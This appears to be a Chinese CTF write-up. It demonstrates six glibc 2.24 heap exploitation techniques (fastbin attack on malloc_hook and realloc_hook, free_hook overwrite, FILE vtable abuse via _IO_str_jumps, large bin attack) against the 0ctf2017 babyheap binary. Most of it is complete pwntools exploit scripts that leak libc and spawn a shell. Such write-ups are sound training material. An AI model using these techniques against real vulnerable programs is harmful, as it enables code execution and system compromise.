欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]堆的六种利用手法

[原创]堆的六种利用手法

前言

忙恶心的工程实训,还耽误校招,只能说学校zz。
上次参加网鼎杯线下赛因为利用手法单一,libc版本太老无法本地调试且,one_gadget失效被打爆。
痛定思痛,回顾学习以下堆利用能够使用的常见方法。使用程序为0ctf2017的babyheap程序,libc为2.24版本。

程序分析

程序保护


程序开启了全保护。

程序功能


完整菜单,有alloc,fill,show,free功能。

alloc功能,可以申请16个大小不大于4096字节的堆块。
使用calloc分配。

fill功能,存在明显漏洞点,可进行任意字节的输入。堆溢出

free功能,free指定索引堆,并清除悬挂指针无漏洞。

show功能,使用write函数输出,不用考虑0字节截断问题。

漏洞分析

漏洞成因

堆漏洞利用的原因大部分都出在能够对free后的堆块进行写入,程序存在明显的堆溢出漏洞。堆溢出可以造成很多的问题,此题可以直接溢出向之后free状态的堆块进行写入会带来无穷无尽的安全问题。
通过堆溢出我们可以实现多种多样的利用手法。

信息泄露

程序使用calloc进行堆的分配。calloc同malloc类似只是会将申请到的堆块内容清0。所以常规的unsorted bin信息泄露的方式不可行。需要使用堆溢出进行配合
程序使用calloc进行堆的分配,

[图片:7.png]
之后free堆块2,再申请一个0x60大小的堆块就可以通过show堆块3来泄露出libc的地址


漏洞利用

malloc_hook

最常见也是最容易的一种堆利用方法。
malloc函数会首先检查malloc_hook的值,若不为0则会调用他。若我们能通过内存写入malloc_hook即可实现任意地址跳转
通过fastbin_attack攻击malloc_hook。首先观察malloc_hook上方数据

fastbin在分配时并不检查对齐情况,将fastbin的fd设置为__malloc_hook-0x23,触发fastbin attack分配得到malloc_hook上方内存空间,向malloc_hook进行写入one_gadget得到权限。
脚本:

from pwn import *

p=process('./0ctf111')

e=ELF('/lib/x86_64-linux-gnu/libc-2.24.so')

p.readuntil('Command:')

context(log_level='debug')

def alloc(a):

	p.writeline('1')

	p.readuntil('Size:')

	p.writeline(str(a))

	p.readuntil('Command:')

def update(a,b,c):

	p.writeline('2')

	p.readuntil('Index:')

	p.writeline(str(a))

	p.readuntil('Size:')

	p.writeline(str(b))

	p.readuntil('Content:')

	p.write(c)

	p.readuntil('Command:')

def dele(a):	

	p.writeline('3')	

	p.readuntil('Index:')

	p.writeline(str(a))

	p.readuntil('Command:')

alloc(0x60) #0

alloc(0x60) #1

alloc(0x60) #2

alloc(0x60) #3

alloc(0x60) #4

alloc(0x60) #5

payload='a'*96+p64(0x00)+chr(0xe1)

update(2,len(payload),payload)

dele(3)

alloc(0x60)#3

p.writeline('4')

p.readuntil('Index:')

p.writeline('4')

p.readuntil('Content: \n')

libc=u64(p.read(6)+chr(0)*2)-0x398B58

print hex(libc)

sys=libc+e.symbols['system']

re_hook=libc+e.symbols['__realloc_hook']

mac_hook=libc+e.symbols['__malloc_hook']

realloc=libc+e.symbols['__libc_realloc']

io_list=libc+e.symbols['_IO_list_all']

jump_table_addr = libc + e.symbols['_IO_file_jumps'] + 0xc0

alloc(0x60)#6

dele(4)

payload=p64(mac_hook-0x23)

update(6,len(payload),payload)

alloc(0x60)#4

alloc(0x60)#7

payload='a'*0x13+p64(libc+0x3f33a) //malloc_hook

#payload='a'*0xb+p64(libc+0x3f33a)+p64(realloc+2)

update(7,len(payload),payload)

success(hex(mac_hook))

success(hex(realloc))

gdb.attach(p)

p.interactive()

realloc_hook

一种很巧妙的利用方法。有些情况下one_gadget因为环境原因全部都不可用,这时可以通过realloc_hook来调整堆栈环境使one_gadget可用。
realloc函数在函数起始会检查realloc_hook的值是否为0,不为0则跳转至realloc_hook指向地址。
realloc_hook同malloc_hook相邻,故可通过fastbin attack一同修改两个值。
观察一下realloc_hook值不为0时realloc函数过程。


流程为push寄存器,最后全部pop出来跳转至realloc_hook的值。
将realloc_hook设置为选择好的one_gadget,将malloc_hook设置为realloc函数开头某一push寄存器处。push和pop的次数是一致的,若push次数减少则会压低堆栈,改变栈环境。这时one_gadget就会可以使用。具体要压低栈多少要根据环境决定,这里我们可以进行小于48字节内或72字节的堆栈调整。

脚本:开始的函数一致。不再重复

alloc(0x60) #0

alloc(0x60) #1

alloc(0x60) #2

alloc(0x60) #3

alloc(0x60) #4

alloc(0x60) #5

payload='a'*96+p64(0x00)+chr(0xe1)

update(2,len(payload),payload)

dele(3)

alloc(0x60)#3

p.writeline('4')

p.readuntil('Index:')

p.writeline('4')

p.readuntil('Content: \n')

libc=u64(p.read(6)+chr(0)*2)-0x398B58

print hex(libc)

sys=libc+e.symbols['system']

re_hook=libc+e.symbols['__realloc_hook']

mac_hook=libc+e.symbols['__malloc_hook']

realloc=libc+e.symbols['__libc_realloc']

io_list=libc+e.symbols['_IO_list_all']

jump_table_addr = libc + e.symbols['_IO_file_jumps'] + 0xc0

alloc(0x60)#6

dele(4)

payload=p64(mac_hook-0x23)

update(6,len(payload),payload)

alloc(0x60)#4

alloc(0x60)#7

#payload='a'*0x13+p64(libc+0x3f33a) //malloc_hook

payload='a'*0xb+p64(libc+0x3f33a)+p64(realloc+2)

update(7,len(payload),payload)

success(hex(mac_hook))

success(hex(realloc))

gdb.attach(p)

p.interactive()

free_hook

同malloc_hook类似,在调用free函数时会先检验free_hook的值。
但是free_hook上方都是0字节。不能直接通过fastbin_attack进行攻击,可以通过修改top
free_hook上方,之后申请内存至free_hook修改为system地址。
fastbin数组在top chunk指针上方。可以通过free fastbin chunk修改fastbin数组的值使的fastbin attack可以实现。 存在限制要求堆的地址以0x56开头

脚本:

alloc(0x40) #0

alloc(0x40) #1

alloc(0x40) #2

alloc(0x40) #3

alloc(0x40) #4

alloc(0x40) #5

alloc(0x60)

alloc(0x60)

dele(6)

payload='a'*64+p64(0x00)+chr(0xa1)

payl='/bin/sh'+chr(0)

update(0,len(payl),payl)

update(2,len(payload),payload)

dele(3)

alloc(0x40)#3

p.writeline('4')

p.readuntil('Index:')

p.writeline('4')

p.readuntil('Content: \n')

libc=u64(p.read(6)+chr(0)*2)-0x398B58

free_hook=libc+e.symbols['__free_hook']

print hex(libc)

alloc(0x40)

dele(6)

payload=p64(libc+0x398B35-0x8)

update(4,len(payload),payload)

alloc(0x40)

success(hex(libc+0x398B35-0x8))

alloc(0x40)

payload='a'*0x1b+p64(free_hook-0xb58)+'aaa'

update(8,len(payload),payload)

for i in range(0,6):

	alloc(0x200)

system=libc+e.symbols['system']

payload=chr(0)*0xf8+p64(system)

update(14,len(payload),payload)

success(hex(libc+0x398B00))

success(hex(free_hook))

p.interactive()

利用io_overflow

house of orange的升级版本,在libc2.24以上的版本,对于文件结构的虚表存在限制,不能像之前一样修改虚表为堆地址实现。
但是可以借助已经存在的虚表IO_str_jumps
结构如下
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
其中_IO_str_overflow函数会调用文件对象fd+0xe0处的地址。
在house of orange的基础上进行更新,将虚表地址设置为IO_str_jumps地址,fd+0xe0设置为one_gadget即可完成利用。
脚本:

alloc(0x90) #0

alloc(0x90) #1

alloc(0x90) #2

alloc(0x90) #3

alloc(0x90) #4

alloc(0x90) #5

alloc(0x60)

alloc(0x60)

dele(6)

payload='a'*0x90+p64(0x00)+p64(0x141)

payl='/bin/sh'+chr(0)

update(0,len(payl),payl)

update(2,len(payload),payload)

dele(3)

alloc(0x90)#3

p.writeline('4')

p.readuntil('Index:')

p.writeline('4')

p.readuntil('Content: \n')

libc=u64(p.read(6)+chr(0)*2)-0x398B58

io_list_all_addr = libc + e.symbols['_IO_list_all']

jump_table_addr = libc + e.symbols['_IO_file_jumps'] + 0xc0

file_struct=p64(0)+p64(0x61)+p64(libc)+p64(io_list_all_addr - 0x10)+p64(2)+p64(3)

file_struct = file_struct.ljust(0xd8, "\x00")

file_struct += p64(jump_table_addr)

file_struct += p64(libc + 0x3f33a)

alloc(0x90)

dele(6)

payload='a'*0x90+file_struct

update(3,len(payload),payload)

gdb.attach(p)

p.interactive()

利用io_finish

同之前io_overflow类似,io_finish会以_IO_buf_base处的值为参数跳转至fd+0xe8处的值。
设置虚表地址为io_str_jump-0x8(异常总会调用虚标+0x18处的函数)
设置_IO_buf_base为bin/sh字符串地址,设置0xe8偏移处为system函数。
相较io_overflow不会有one_gadget不可用的情况。
脚本:

from pwn import *

p=process('./0ctf111')

e=ELF('/lib/x86_64-linux-gnu/libc-2.24.so')

def pack_file(_flags = 0,

              _IO_read_ptr = 0,

              _IO_read_end = 0,

              _IO_read_base = 0,

              _IO_write_base = 0,

              _IO_write_ptr = 0,

              _IO_write_end = 0,

              _IO_buf_base = 0,

              _IO_buf_end = 0,

              _IO_save_base = 0,

              _IO_backup_base = 0,

              _IO_save_end = 0,

              _IO_marker = 0,

              _IO_chain = 0,

              _fileno = 0,

              _lock = 0,

              _wide_data = 0,

              _mode = 0):

	file_struct = p32(_flags) + \

	     p32(0) + \

	     p64(_IO_read_ptr) + \

	     p64(_IO_read_end) + \

	     p64(_IO_read_base) + \

	     p64(_IO_write_base) + \

	     p64(_IO_write_ptr) + \

	     p64(_IO_write_end) + \

	     p64(_IO_buf_base) + \

	     p64(_IO_buf_end) + \

	     p64(_IO_save_base) + \

	     p64(_IO_backup_base) + \

	     p64(_IO_save_end) + \

	     p64(_IO_marker) + \

	     p64(_IO_chain) + \

	     p32(_fileno)

	file_struct = file_struct.ljust(0x88, "\x00")

	file_struct += p64(_lock)

	file_struct = file_struct.ljust(0xa0, "\x00")

	file_struct += p64(_wide_data)

	file_struct = file_struct.ljust(0xc0, '\x00')

	file_struct += p64(_mode)

	file_struct = file_struct.ljust(0xd8, "\x00")

	return file_struct

p.readuntil('Command:')

context(log_level='debug')

def alloc(a):

	p.writeline('1')

	p.readuntil('Size:')

	p.writeline(str(a))

	p.readuntil('Command:')

def update(a,b,c):

	p.writeline('2')

	p.readuntil('Index:')

	p.writeline(str(a))

	p.readuntil('Size:')

	p.writeline(str(b))

	p.readuntil('Content:')

	p.write(c)

	p.readuntil('Command:')

def dele(a):	

	p.writeline('3')	

	p.readuntil('Index:')

	p.writeline(str(a))

	p.readuntil('Command:')

alloc(0x90) #0

alloc(0x90) #1

alloc(0x90) #2

alloc(0x90) #3

alloc(0x90) #4

alloc(0x90) #5

alloc(0x60)

alloc(0x60)

dele(6)

payload='a'*0x90+p64(0x00)+p64(0x141)

payl='/bin/sh'+chr(0)

update(0,len(payl),payl)

update(2,len(payload),payload)

dele(3)

alloc(0x90)#3

p.writeline('4')

p.readuntil('Index:')

p.writeline('4')

p.readuntil('Content: \n')

libc=u64(p.read(6)+chr(0)*2)-0x398B58

io_list_all_addr = libc + e.symbols['_IO_list_all']

jump_table_addr = libc + e.symbols['_IO_file_jumps'] + 0xc0

binsh_addr=libc+0x1618b9

file_struct = pack_file(_flags = 0,

                        _IO_read_ptr = 0x61, 

                        _IO_read_base = io_list_all_addr-0x10, 

                        _IO_write_base = 0,

                        _IO_write_ptr = 1,

                        _IO_buf_base = binsh_addr,

                        _mode = 0,

                        )

file_struct += p64(jump_table_addr-0x8)+p64(0)

file_struct += p64(libc + e.symbols['system'])

alloc(0x90)

dele(6)

payload='a'*0x90+file_struct

update(3,len(payload),payload)

success(hex(jump_table_addr-0x8))

p.interactive()

large bin attack修改free_hook

原理同0ctf heapstorm类似,unsorted bin链表卸载转移到large bin时会有两次的内存写操作,将内存写入自己堆块的地址。利用这两次写伪造出一个在free_hook上方的chunk,并使unsorted bin的bk指针指向这个伪造的chunk。再次分配即可分配到free_hook上方任意地址。

之前分析过可以参考博客http://www.pwndog.top/2018/07/27/0ctf-heapstorm%E7%AC%94%E8%AE%B0/

http://www.pwndog.top/2018/07/24/malloc%E5%87%BD%E6%95%B0%E6%BA%90%E7%A0%81%E7%AC%94%E8%AE%B0/
脚本:

alloc(0x90) #0

alloc(0x90) #1

alloc(0x90) #2

alloc(0x90) #3

alloc(0x90) #4

alloc(0x90) #5

payload='a'*0x90+p64(0x00)+p64(0x141)

payl='/bin/sh'+chr(0)

update(0,len(payl),payl)

update(2,len(payload),payload)

dele(3)

alloc(0x90)#3

p.writeline('4')

p.readuntil('Index:')

p.writeline('4')

p.readuntil('Content: \n')

libc=u64(p.read(6)+chr(0)*2)-0x398B58

free_hook=libc+e.symbols['__free_hook']

alloc(0x90)

dele(0)

dele(1)

dele(2)

dele(3)

dele(4)

dele(5)

alloc(0x20)

alloc(0x510)

alloc(0x20)

alloc(0x520)

alloc(0x20)

dele(1)

alloc(0x600)

payload='a'*0x20+p64(0)+p64(0x511)+p64(0)+p64(free_hook-0x20+0x8)+p64(0)+p64(free_hook-0x45+0x8)

dele(3)

update(0,len(payload),payload)

payload='a'*0x20+p64(0)+p64(0x521)+p64(0)+p64(free_hook-0x20)

update(2,len(payload),payload)

success(hex(free_hook))

system=libc+e.symbols['system']

alloc(0x40)

payload='/bin/sh'+chr(0)*9+p64(system)

update(3,len(payload),payload)

p.interactive()

结语

最后写的越来越累,写脚本时很爽,但是描述起来太麻烦。稍有偷懒以后有时间再编辑。

上传的附件 0ctf2

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功